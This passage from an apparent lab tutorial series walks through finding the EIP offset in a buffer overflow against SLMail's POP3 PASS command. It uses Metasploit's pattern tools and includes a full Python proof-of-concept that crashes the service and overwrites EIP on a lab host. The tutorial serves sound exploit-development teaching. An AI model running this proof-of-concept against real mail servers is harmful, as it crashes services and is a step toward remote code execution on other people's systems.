In the last section, we revealed the size constraints of the
SLMail BoF. If we wish to elevate our humble BoF into a full Remote Code Execution (RCE) exploit, we must be capable of rerouting the flow of execution to a memory location we control, where we can place our “evil” payload. Without this, an RCE will be impossible.
To reroute the flow of execution, we must control the Instruction Pointer (
EIP), which tells the system where to look for the next executable instruction. In our most recent BoF PoC (
slmail_bof_6.py), we sent a payload containing the character
B repeated 4,089 times. In hexadecimal, the letter
42 (the answer to life, the universe, and everything). To gain control over
EIP, we'll want to adjust the size of our BoF payload until the post-crash
EIP register reads
42424242, which would imply that
EIP is obtaining its value from the payload.
Running our PoC (
slmail_bof_6.py) against the target, I confirm that not only does the buffer overflow trigger, but the
EIP register contains the value
Excellent! That makes life easier. Generally speaking, the larger the overflow buffer, the more space we have for shellcode. It's fortunate that the UOB is also the right size to control
EIP, as this grants us the maximum possible shellcode space.
At this point, we've got a script (
slmail_bof_6.py) that triggers a BoF and (from what we can tell) overwrites the value of the
EIP register. Our next step is to determine which four bytes (out of the 4,089 bytes in the payload) are overwriting this register.
To this end, we could go through yet another divide-and-conquer fuzzing routine, cutting the payload in half again and again until we find the specific location of the
EIP overwrite. Not a bad approach, honestly. But there's a better solution: create a 4,089-byte sequence of characters in which no four-byte sequence ever repeats itself, then send that sequence as our buffer.
If that sounds complicated, that's because it is. Fortunately,
Metasploit comes with a handy script called
msf-pattern_create, which is more than up to the task. I use it to generate the pattern, storing it in
root@haxys:~/ShareDrive/BoF-SLMail# msf-pattern_create -l 4089 > pattern.txt
Then, I copy
slmail_bof_7.py and update it to load the pattern from the text file:
#!/usr/bin/env python3.7 """SLMail BoF PoC: Seeking the EIP offset.""" import socket # Socket information. TARGET_ADDR = "10.10.10.101" TARGET_PORT = 110 SOCKET_TIMEOUT = 10 # Exploit details. # Lower Overflow Boundary: 2590 bytes # Upper Overflow Boundary: 4089 bytes MAXIMUM_PAYLOAD = 4089 with open("pattern.txt", "r") as PATTERN: PAYLOAD = PATTERN.read().strip().encode() OVERFLOW = False try: print("[*] Connecting...") SOCKET = socket.socket(socket.AF_INET, socket.SOCK_STREAM) SOCKET.settimeout(SOCKET_TIMEOUT) SOCKET.connect((TARGET_ADDR, TARGET_PORT)) SOCKET.recv(1024) SOCKET.send(b"USER test\r\n") SOCKET.recv(1024) print("[<] Sending payload...") SOCKET.send(b"PASS " + PAYLOAD + b"\r\n") OVERFLOW = not SOCKET.recv(1024) SOCKET.send(b"QUIT\r\n") except (socket.timeout, ConnectionResetError): OVERFLOW = True except ConnectionRefusedError: print("[!] Connection refused. Is the server running?") finally: SOCKET.close() print("[!] BoF Success!" if OVERFLOW else "[!] BoF Failed.")
SLMail is up and running, I execute the script, sending the pattern as my payload. The service crashes, and I check
The register contains the value
39694438. To find the offset of this value, we'll use
msf-pattern_offset, the sister script to
root@haxys:~/ShareDrive/BoF-SLMail# msf-pattern_offset -q 39694438 [*] Exact match at offset 2606
Nice! The script has found the location of the
EIP overwrite at byte 2,606. I'll update the script to test this, copying
slmail_bof_8.py and replacing the payload with 2,606 A's, four B's, and enough C's to fill out the remainder of the buffer:
... # Exploit details. MAXIMUM_PAYLOAD = 4089 EIP_OFFSET = 2606 PAYLOAD = b"" PAYLOAD += b"A" * EIP_OFFSET PAYLOAD += b"B" * 4 # EIP overwrite. PAYLOAD += b"C" * (MAXIMUM_PAYLOAD - len(PAYLOAD)) OVERFLOW = False ...
SLMail and run the script. Sure enough, the overflow is triggered, and
EIP is filled with four B's (
Excellent! We now have demonstrable control over the value of
With control over
EIP, we're one step closer to a working RCE exploit. In the next section, we'll seek a reliable place to store shellcode, find any “bad characters” that would break the exploit, and determine the maximum size of our shellcode.